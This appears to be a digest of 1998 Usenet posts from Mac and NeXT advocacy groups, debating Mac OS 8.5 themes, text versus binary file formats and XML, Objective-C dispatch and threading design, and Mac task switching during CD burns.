From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Appearance and Themes (was: Re: bummer of os 8.5 gm)
Message-ID: <forrestDELETE-THIS!-1109980100490001@term1-27.vta.west.net>
References: <andyba-ya02408000R1009981511430001@news> <B21E2FCE-1C0EE1@209.109.225.163> <pulsar-ya02408000R1109980056030001@news-proxy.cso.uiuc.edu>
Organization: Obsidian Design / Static Dreams Interactive
Date: Fri, 11 Sep 1998 01:00:47 -0700
NNTP-Posting-Date: Fri, 11 Sep 1998 01:00:34 PDT
In article <pulsar-ya02408000R1109980056030001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> It should be an indication of how bad the Mac OS is that something like
> themes is so hard to do. Kaliedoscope doesn't go quite as far as themes do
> although I believe there is a way to use Kalidoscope schemes as Mac OS 8.5
> themes.
The current Appearance API (v1.x) allows for the switching of UI elements'
appearances. Kaleidoscope hooks into this when running under OS 8.
Appearance 2.0 allows for the complete rearranging of UI elements, almost
as drastically as NeXTSTEP did (you can design a window with the titlebar
on the right side and widgets on a second title bar on the left, with
jagged edges along the top and a wavy curved bottom, and then put
scrollbars with four arrows in each corner of the window). Appearance 2.0
is done and in working order (and will appear in OS 8.5, and third party
interface modules will be encouraged; the Platinum appearance is a Theme
file itself), but the two themes most publicized (HiTech and Gizmo) were
relics from Copland, and Apple couldn't get them to look well enough.
Rumor has it that a theme seen briefly at WWDC, called "Architech", may
appear in Allegro, along with other themes under works. But the point of
this rant is that Themes 2.0 is supported in Allegro, and that the
Platinum theme has options for many various UI elements; the Application
Pallette can be a torn-off menu, a NeXT-style row of icons along the
bottom, possibly even a Windows-like taskbar; scroll arrows can be
Mac-style, NeXT-style, DoubleScroll-style, and possibly even others; all
of which can be set with the right AppleScript call, and some options are
provided in the Appearance control panel as well (I think the first two
App Pallette options are, as are the first two scrollbar options. Which is
what started this thread, with someone complaining about the lack of the
third option in recent betas/FCs/GMs/whatever). I wonder if there's an
option for NeXT-style menus as well, that would appease a good number of
users out there (you know who you are). I always suggested the the entire
menubar should be able to be torn off by dragging out of an empty part of
the menubar, which would make the horizontal stripe dissapear and a
NeXT-style menu "stack" appear under your cursor (in a "floating windoid",
as used for tool pallettes).
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: rdieter@math.unl.edu (Rex Dieter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Q] Rhapsody and Unix
Date: 11 Sep 1998 21:32:56 GMT
Organization: University of Nebraska-Lincoln
Message-ID: <6tc4u8$cm0$1@unlnews.unl.edu>
References: <01bdddc3$98113e30$06387880@chewy>
In article <01bdddc3$98113e30$06387880@chewy> "Todd Heberlein (todd at
NetSQ dot com)" <todd@dev.null> writes:
> Hmm... Sounds like we need an equivalent of sunsite. Sunsite provides a
> fair number of pre-built packages for various version of Solaris (for
Intel
> and Sparc) (other OSes are also supported).
have you ever visited these???:
http://www.peak.org/next/
http://www.peak.org/openstep/
http://www.peak.org/rhapsody/
http://peanuts.leo.org/
These sites, IMO, are the NEXTSTEP/OPENSTEP/RHAPSODY equivalents of sunsite
for Solaris.
--
Rex A. Dieter rdieter@math.unl.edu (NeXT/MIME OK)
Computer System Manager http://www.math.unl.edu/~rdieter/
Mathematics and Statistics
University of Nebraska-Lincoln
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 11 Sep 1998 08:07:15 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6talnj$ham$1@news.cs.tu-berlin.de>
References: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B21882EA-3A2A@206.165.43.166> <Eyz29G.8L0@T-FCN.Net> <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com> <Ez0tuH.DuH@T-FCN.Net> <gregorylo-0909982313490001@cpu2522.adsl.bellglobal.com> <Ez2p40.BF6@T-FCN.Net>
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maury@remove_this.istar.ca (Maury Markowitz) writes:
>In <gregorylo-0909982313490001@cpu2522.adsl.bellglobal.com> Gregory Lo wrote:
[...]
>> For instance, say you had a file of data, marked up with tags. In a
>> binary format, you could determine that each tag is only two bytes wide
>> (reasonable enough - allowing for 32768 different tags) - reading those
>> two bytes from a file is the simplest thing. Doing the same thing with a
>> text-based format is also easy but it does take a few more steps: you have
>> to scan the text and tokenize it (even if you've written some ad hoc
>> lexer, that's what happens). Then you're still stuck with some [possibly
>> multi-byte] string comparisons (easy for humans, takes a little longer for
>> the computer than if it had to compare small integers).
> Ahhh, this is a performance issue. I'll agree with you completely there,
>it does take more time to parse a text file than a binary file.
However, my experience has been that on todays machines (a) the extra
cost is negligible for most real world documents and (b) other processing
that is required for both formats completely swamps the text parsing time.
There are, of course, cases where these rules of thumb do not hold,
especially if the extra-processing is very small (i.e. it is plain,
non object-structured data) and/or the volume of such simple data
is very large.
XML deals with these cases just fine by allowing external unparsed
entities. In combination with file-wrappers, that should work just
dandy. The in-lining mechanism for binary data (called CDATA or
something like it) is not that great because it has a defined
end-of-data sequence which is not allowed in the data.
It should also be possible to define a binary ('compiled') XML
that is logically equivalent to the text version but allows for
easier parsing.
arcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What Motorola is doing with PowerPC
MIME-Version: 1.0
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Message-ID: <bLgK1.4573$MS.13090704@news.rdc1.sdca.home.com>
Date: Fri, 11 Sep 1998 21:38:15 GMT
NNTP-Posting-Date: Fri, 11 Sep 1998 14:38:15 PDT
Organization: @Home Network
In <6t990t$g1o@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after
@ wrote:
> http://www.eet.com/news/98/1025news/motorola.html
>
[snip]
> Quotes :
>
[snip]
> ....
>
[snip]
>
> ....
>
[snip]
>
> End quotes.
>
> -arun gupta
>
Arun, the service you provide of capturing relevent news is both timely and
important. Since many people around the world do not enjoy the same
"access" to news, your pointers and quotes are invaluable for many people.
I've done a similar task in years past.
It would be helpful if references and quotes were "prefaced" with your own
contextual comments or summary. It is better to scan a summary of quotes
than to read the whole list only to find out they were of no interest.
Summary or opinion is much more helpful than dumping raw quotes on us with
_only_ a tickler question in the Subject line.
Just a suggestion...
-r
Rex Riley
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 10 Sep 98 22:28:49
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep10222849@slave.doubleu.com>
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<6sn7u7$nq3$1@nnrp1.dejanews.com>
<SCOTT.98Sep6224159@slave.doubleu.com>
<6t21ge$ktq$1@nnrp1.dejanews.com> <6t6ona$boq$4@news.mxol.com>
<SCOTT.98Sep9161733@slave.doubleu.com> <6t9jn5$f29$2@news.mxol.com>
In-reply-to: "Charles W. Swiger"'s message of 10 Sep 1998 22:26:45 GMT
In article <6t9jn5$f29$2@news.mxol.com>,
"Charles W. Swiger" <chuck@codefab.com> writes:
scott@nospam.doubleu.com (Scott Hess) wrote:
>In article <6t6ona$boq$4@news.mxol.com>,
> "Charles W. Swiger" <chuck@codefab.com> writes:
> Enabling multithreading roughly doubles this overhead again for
> just the locking over the critical section of the method
> dispatch (ie, a lock over the Obj-C runtime structures).
>
>Fortunately, you can rework the Obj-C runtime so that it only
>needs to lock things when updating the method dispatch tables.
<...>
Of course, not having a lock around the method dispatch limits your
flexibility to select the runtime data structures and "warm up the
caches"...say by moving the selector you're accessing to the front
of the linked list of the bucket of a hash table with chaining
(etc).
Yeah, well, you win some, you lose some. You could keep your dispatch
tables as per-thread structures (which, actually, would work better in
the above suggestion, because the temporal selector usage locality
probably goes along with the thread, not the class).
You can also implement a fully dynamic dispatch mechanism similar to
vtables. Offhand, I don't recall the name of the researcher (Karsten
D...?) In any case, you basically take the loaded classes and at
runtime compile a dispatch table which can resolve a SEL to an IMP
using a "class number" as an index into an offset array, who's result
is added to the "selector number" to index into an IMP array. The IMP
array is kept compact using some relatively simple algorithms to allow
sub-arrays to overlap.
That would be win-win - no need to lock the dispatch tables, because
you never update them (well, you'd have to rebuild the tables above
when new classes are loaded), and no hashing so you don't need
trickery to make it faster.
I keep thinking it would be interesting to try it out on the POC
compiler, just for "kicks". Perhaps sometime when I free up a couple
days...
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 10 Sep 98 22:31:16
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep10223116@slave.doubleu.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
<6sn7u7$nq3$1@nnrp1.dejanews.com>
<SCOTT.98Sep6224159@slave.doubleu.com>
<6t21ge$ktq$1@nnrp1.dejanews.com> <6t6ona$boq$4@news.mxol.com>
<6t7sv7$tkp$1@nnrp1.dejanews.com>
In-reply-to: quinlan@intergate.bc.ca's message of Thu, 10 Sep 1998 06:52:23 GMT
In article <6t7sv7$tkp$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca writes:
In article <6t6ona$boq$4@news.mxol.com>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> That'd probably work adequately well, actually-- assuming the
> cost of duplication was significantly smaller than the cost to
> prepare the document to go to the printer....
The cost of the duplication could be very expensive. Imagine
duplicating a thesis or 1200dpi image file.
What's the problem? Mark all of the document's pages copy-on-write,
and print away. When done printing, vm_dealloc the pages. In that
way, you only pay the replication penalty when necessary.
Of course, that implies certain things about how your structure is
setup in memory. An alternative would be to structure your data as
immutable objects, and retain the root, releasing it when you're done
printing. Essentially a user-level copy-on-write.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 10 Sep 98 22:34:53
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep10223453@slave.doubleu.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <6smpdo$4v3$1@nnrp1.dejanews.com>
<6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com>
<6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com>
<6t3s3c$3os$1@news.mxol.com> <6t4hjh$41c$1@nnrp1.dejanews.com>
<Eyzrpq.rz@T-FCN.Net> <6t5di5$ddi$1@nnrp1.dejanews.com>
<Ez0vCo.Ev8@T-FCN.Net> <6t6j5g$vc1$1@nnrp1.dejanews.com>
<Ez194q.pI@T-FCN.Net> <6t71n4$nba$1@nnrp1.dejanews.com>
<Ez1Lsr.8oq@T-FCN.Net> <6t7s3u$ssl$1@nnrp1.dejanews.com>
<35f78873.0@news.depaul.edu>
In-reply-to: Jonathan W Hendry's message of 10 Sep 98 08:06:11 GMT
In article <35f78873.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
In comp.sys.next.advocacy quinlan@intergate.bc.ca wrote:
> In article <Ez1Lsr.8oq@T-FCN.Net>,
> maury@remove_this.istar.ca (Maury Markowitz) wrote:
> > Because you'd also have to spool off the save code from the
> > "main loop". OpenStep helps here, but is slowing down a whole
> > OS for a 3GB file save case a real good tradeoff?
> But I wouldn't have a main loop. I'd have a thread for the
> application and a thread for each window.
The window really needn't be involved in a save. It could just as
easily tell the document model object to save in another thread.
Why bother threading the window? The end result is the same: the
window in which the document is displayed is user-responsive.
_That's_ what I've been trying to say, without even realizing it!
Saying "thread-per-window" is simply a knee-jerk reaction. It doesn't
_necessarily_ mean anything regarding responsiveness if your system is
thread-per-window. Even thread-per-document may not be enough, you
might need thread-per-operation. Thread-per-window and
thread-per-document are attempting to provide thread-per-operation
without paying the perceived penalty.
Thanks, Jonathan!
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 10 Sep 98 22:49:35
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep10224935@slave.doubleu.com>
References: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<B21882EA-3A2A@206.165.43.166> <Eyz29G.8L0@T-FCN.Net>
<gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com>
In-reply-to: gregorylo@sympatico.ca's message of Wed, 09 Sep 1998 00:56:33 GMT
In article <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com>,
gregorylo@sympatico.ca (Gregory Lo) writes:
In article <Eyz29G.8L0@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
>In <B21882EA-3A2A@206.165.43.166> "Lawson English" wrote:
>> >Binary, text, shminary, whatever.
>>
>> Well, it's faster to access if it is in binary format.
>
>Wrong, this is Unix remember? The fastest is a ZIPped text file,
>a format the OS will be wonderfully good at handling.
A zipped text file is a binary file.
But, then to parse the zipped text file, one must decompress it;
and then you still have to parse the larger text file.
As presented, this is the case. But this is not generally true for
compressed files. An XML file could be encoded using special codes
for tags and the like. This can give respectable compression and also
reduce the overhead of parsing the file.
Of course, it's not _quite_ XML, then, but if you design the system
correctly, the difference between pure XML and some encoded format is
a toggle switch somewhere.
I think the original poster (for this sub-thread) asserts that a
binary file is more efficient. Less "stuff" byte-wise to read and
parse before you've extracted your content, which you probably
store in a non-text form in memory anyway. Less space taken up on
disk. Less work for the programmer to implement.
It's a tradeoff between what's easy for the "user" (it's easier for
humans to go in and modify/ a human-readable text file), and what's
easier/more efficent for the implementor.
Actually, this tradeoff is exactly the same tradeoff made between
assembly and structured programming in a procedural language, and the
tradeoff between procedural languages and object-oriented languages.
Writing simple raw data structures to a file is certainly easy - but
it will _always_ come back to bite you in the end. Well, unless your
program isn't successful, I suppose :-).
I've written a variety of text-based and binary file formats over
time, including a clone of NeXT's NXTypedStreams on the binary side,
and an XML parser on the text side. Most of the problems in the code
itself were very similar. I've found that once you pass the threshold
from simple data structures (just data) to more complex data
structures (structures which reference each other in irregular
fashion, and with nodes that contain irregular amounts and types of
data), it doesn't really make a difference what the raw data format
is, because the really hard part is getting the API right and making
sure that what you get on a read exactly matches what you had when you
wrote.
At that point, I'm willing to give the text-based formats the nod.
Simply put, you can visually debug files, and the space and time
overhead you pay to use text rather than binary isn't even worth
worrying about these days. Disks are huge, memory is huge, and the
performance of a well-structured serialization system should be
limited by the CPU's memory bandwidth more than the CPU's speed.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 11 Sep 1998 08:28:46 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6tamvu$i6b$1@news.cs.tu-berlin.de>
References: <Ez2p40.BF6@T-FCN.Net> <B21D985A-660C0@206.165.43.113>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
"Lawson English" <english@primenet.com> writes:
>However, for pre-press manipulation, this shouldn't be
>an issue. However, the proposed standard way to transfer an image via the
>clipboard is via a PDF file, which we've already agreed isn't the best
>format.
Oh, the ignorance! The YB clipboard supports multiple formats with
a preference scheme, so there is no single 'proposed standard' encoding.
The preferred encoding for images is TIFF at present, however the
clipboard will also automatically provide other formats (currently
PNG, GIF, JPEG and EPS, + BMP on windows + any other formats
available via filtering).
What's more, I don't even have to care what happens because it all
happens automagically. For all I care, NSBitmapImageRep and friends
could be encoding themselves as Photoshop, Amiga IFF or GX-bitmap
format, it wouldn't make a difference.
>Is there a binary version of XML? I scanned the docs yesterday but
>didn't notice any. It would be best to keep the same image format for both
>clipboard and pre-press, I think.
Images and such should be stored as external unparsed entities in any of
the wide variety of image formats.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: CLI vs GUI holywars! (Was Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?))
Message-ID: <heaney-1109980451040001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137> <35F6FEE8.9D090CC3@ericsson.com> <6t7798$5l$1@nnrp3.snfc21.pbi.net> <35F767A9.F72D95C@nstar.net> <6ta4m1$rbf@news1.panix.com> <35F8BD2A.FF5812DE@nstar.net>
Organization: Solid Object Software
Date: Fri, 11 Sep 1998 08:42:10 GMT
NNTP-Posting-Date: Fri, 11 Sep 1998 01:42:10 PDT
In article <35F8BD2A.FF5812DE@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Sal Denaro wrote:
>
> > %start trans 1
> > %ls -la |sort > xyzzy (if xyzzy exists, back it up to xyzzy.trans1.$PID)
> > %commit trans 1 (All backup files removed)
> > -or-
> > %rollback (... or "undo", all backups are restored in the reverse that they
> > are created)
>
> That's the idea. I was thinking of something a bit more automatic,
> albeit less safe. For instance, the 'rm' command would throw files into
> a trash bin, and you could have a different command for emptying the
> trash. Same idea as the GUI, just applied to the CLI. Similarly, if you
> renamed a file, the file's original name would be held in a buffer
> somewhere and cleared out later that night, or something similar. A
> manual flush could be performed, if the user liked.
Back in my unix days, I had an alias of rm that instead did a copy to a
"trash" directory. My .logout file did the actual delete. That's not
unusual, is it? I know I wasn't the only one that did that.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: Fri, 11 Sep 1998 17:31:50 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F9A4D6.B2D50F0F@ericsson.com>
References: <Ez0tuH.DuH@T-FCN.Net> <B21C0D5F-2CBE6@206.165.43.114>
<Ez16AM.M0p@T-FCN.Net> <35F6D9DD.36CB7180@ericsson.com>
<Ez1Cs9.347@T-FCN.Net> <35F762AF.AE864121@nstar.net> <Ez2po5.BoM@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Maury Markowitz wrote:
> > They are totally different examples.
>
> Not to a programmer. The resulting code will look identical. Are we
> talking about the complexity of the libraries now? Who cares about that?
You are apparently significantly confused.
> > Reading from a binary the way Lawson demonstrated involves
> > nothing more than ingesting raw data bytes.
>
> Yes, and YOU as the programmer don't do that.
Yes, I do.
> You say "read these values
> from this handle". This is _exactly_ what I do with OAPropertyListCoders, I
> say "read these values from this handle".
I sense a pattern: you have a bunch of wrapper classes working
functionality around the basic tasks, and from the perspective of your
specialized toolkit you have a warped sense of what is actually going
on. "I just do this and it happens" is becoming a fairly frequent
refrain.
> > Your text file requires parsing and type conversion.
>
> Sure.
>
> > There is a *very* demonstrable performance difference
>
> So it's a performance thread again? It isn't for me, it's a usability
> thread.
Ah, the goalposts shift again and again and again for you, Maury. It's
getting to the point of blatant deceipt to escape your twisted
arguments, shamefully attempting to paint *me* as the shifter. The day
before you wrote the above, you had the following conversation in this
very thread:
Lawson English:
> > But, then to parse the zipped text file, one must decompress it; and then
> > you still have to parse the larger text file.
Maury Markowitz:
> The issue here is transmission time and storage space. ZIP solves both of
> these problems.
<end of conversation>
I suppose "transmission time and storage space" are usability
considerations.
> Text encodings are easier to use, debug and manipulate without the
> original program. Do you disagree with this?
What does manipulation "without the original program" have to do with
the subject, Maury? This is ridiculous.
As for the actual statement, I challenge you to design a text-based
graphics file format that is easier to read and whose reader is easier
to debug than a PCX file. This may be a bit difficult; I didn't see an
automatic class for this kind of problem on your website.
> Lawson's example was a struct and nothing more - I didn't see any code
> there, because there wasn't any code there. A struct is not file management
> code.
Hmm, last I checked, struct definitions are C/C++/ObjC code. Maybe I
could send you some references to good books on C? Furthermore, if a
snippet of code is in the context of file management, I should think it
could be called "file management code"...
> I'll agree absolutely that this is the _easiest_ way, at least for
> some situations.
I thought you said this thread was about usability, Maury! If the struct
method is the "easiest" way, does that mean you've granted the usability
argument (which I never pursued, anyway), or do you define "easy" in a
proprietary way?
How ironic, heh.
> > No, this is simply not so!
>
> Yes, it is simply so. If you don't believe me, go to our web site and
> download it. http://www.oaai.com. It's free, enjoy.
What is "it"? I have no idea what I'm supposed to be looking for.
> > When you read in "9999999" your parser will
> > be reading in one character byte at a time.
>
> Actually it will be reading it a block at a time.
Your disk IO specifics are of no concern to me, Maury. Your parser will
be interpreting individual characters in sequence.
> No, it's not "many times slower". At least not in my code. You seem to
> forget the difference between disk and CPU performance - while the disk is
> waiting on the next block all of this can be decompiled.
You seem to forget the difference between efficiency and performance.
Are you using a multi-tasking operating system or not? Again, let me
remind you of a statement you made two postings ago in this thread:
Maury Markowitz:
> The issue here is transmission time and storage space.
> > Again, the appropriateness of any format depends on what you are doing
> > with it. If your format is predictable to any degree, it will be faster
> > to do it the way Lawson describes.
>
> Until you attempt to extend it, or make it work on other platforms, or
> debug it, or view the output, or...
More shifting goalposts. Again, let me remind you of a statement you
made two postings ago in this thread:
Maury Markowitz:
> The issue here is transmission time and storage space.
[cut]
> > > Neither have I, but I was able to manipulate PS.
> >
> > Of course you were, you have a class that's already written to do that.
>
> No, on HyperCard. It was string manipulation plain and simple. A binary
> representation would have made this particular task much much harder.
Considering your format was *text* and converting from binary into ASCII
would have been an extra step...seems like a no-brainer.
> > You were the one who introduced this as a matter of efficiency.
>
> Which?
Let me remind you of a statement you made two postings ago in this
thread:
Maury Markowitz:
> The issue here is transmission time and storage space. ZIP solves both of
> these problems.
MJP
From: smileyy@ix.netcom.com (Andrew McCormick)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Fri, 11 Sep 1998 18:35:27 -0400
Organization: ICGNetcom
Message-ID: <smileyy-1109981835280001@192.168.0.2>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <macghod-0609981225550001@sdn-ar-001casbarp298.dialsprint.net> <82HI1.1591$2s.1694532@newsfeed.slurp.net> <andyba-ya02408000R1009981052140001@news> <fe6K1.323$D%1.403779@newsfeed.slurp.net> <andyba-ya02408000R1109980923180001@news> <6tbr11$h9i$1@plo.sierra.com> <smileyy-1109981540100001@192.168.0.2> <6tc54g$kj0$1@plo.sierra.com>
yO|mu63W9l,<&>Elu}#LIobQ32F
In article <6tc54g$kj0$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
>Andrew McCormick wrote in message ...
>>And how does this help when my hierarchy looks like:
>>
>>* web site
>> - index.html
>> * mystuff
>> - index.html
>> - foo.gif
>> - bar.jpg
>> * yourstuff
>> - index.html
>> - baz.ra
>> - dimwiddle.gif
>>
>>So I trash the web site, then realize that I want to hang onto the file in
>>'mystuff' called 'index.html'. Now which one is it, then? Can't really
>>tell, since Windows spooged the hierarchy all over the recycle bin.
>
>Sort of. You drag the "web site" folder back out, grab the files you want,
>then put the "web site" folder back in the trash. Not perfect, but not a big
>deal at all. Such a small deal, that myself and others didn't even notice
>that you couldn't open the folder in the trash.
Seems to me a very roundabout way of doing things. Oh well.
Andrew McCormick
--
smileyy@ix.netcom.com
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.os.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: CISC vs RISC
Date: Fri, 11 Sep 1998 15:39:16 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1109981539170001@sdn-ar-001casbarp259.dialsprint.net>
References: <B20F0ECF-11F9DE@208.193.147.160> <35f1a1e8.388665015@198.0.0.100> <joe.ragosta-0309981438080001@wil32.dol.net> <MPG.1058c7a96b77dd0d9897a7@news.itg.ti.com> <joe.ragosta-0709980738260001@elk79.dol.net> <MPG.105e06794f636f579896f9@news.ont.com> <joe.ragosta-0709981722180001@elk38.dol.net> <35F55CA5.F11D2C8F@rochester.rr.com> <joe.ragosta-0809981344100001@wil70.dol.net> <MPG.105f31793dc66aff9897aa@news.itg.ti.com> <joe.ragosta-0809981506290001@wil40.dol.net> <35F6BC03.CBD36DBA@cennet.com> <MPG.1060938f9af30e2e9897b0@news.itg.ti.com> <joe.ragosta-0909981625090001@wil56.dol.net> <MPG.1060b50cd5dcd9999897b2@news.itg.ti.com> <ericb-1009981601360001@128.253.86.98> <MPG.1061ece0ab9734119897be@news.itg.ti.com> <joe.ragosta-1009981624500001@wil127.dol.net> <macghod-1009982300130001@sdn-ar-001casbarp205.dialsprint.net> <ericb-1109981353490001@128.253.86.98> <macghod-1109981227090001@sdn-ar-002casbarp266.dialsprint.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
I havent gotten the message on the server, so I am using the email he sent
me, >> = me, and > at the bottom is Eric bennet
> >Huh?!?!
> >In Openstep you can start a cd burn then switch to a word processor?!??!
> >Or in windows nt?
> >
> >And Mr Bennett, please do not misquote me. I did not say "the mac is
> >unable to task-switch". I said its incorrect that the mac has ABSOLUTELY
> >ZERO problems doing this (task-switching). I then showed at least one
> >example where the mac DOES have problems task switching. You claimed that
> >this would not work on any task switching os, and I dont believe you. I
> >am sure openstep would have NO PROBLEMS switching tasks during a cd burn.
> >
> >(added to csna for clarification if openstep is able to switch to other
> >apps when a cd is being burned)
>
> I think you have your buzzwords crossed (multitasking vs. task switching).
I do not have my buzzwords mixed up.
> My Apple IIGS allows task switching. That means that multiple programs
> (tasks) are open, and I can switch between them.
The example I gave shows that this is not always the case. Do you have a
cd burner Eric? If you did you would know that during a burn you cant
switch to any other app, you are stuck in toast, just like how it used to
be when you format a floppy.
If you dont have a cd burner I can give you another example that you can
easily verify. Open up any app, then open up bytemark dr3 binary that is
on byte's web page (after you have downloaded it of course). Hit return
to start the test, then try to switch to the other app you have open. You
can
> But whatever application
> is currently running has 100% of the CPU. There is no mechanism whatsoever
> for the background applications to get CPU time until the user changes the
> current program, at which point a different task gets 100% of the CPU time.
> On a task-switching system, if you put your CD-burning program in the
> background, you just made a nice coaster.
This doesnt happen on windows nt or openstep. Their are many apps you can
switch to on these systems and NOT make a coaster. On the mac, you cant
even switch apps.
> The Macintosh can switch between tasks just fine. It can do everything a
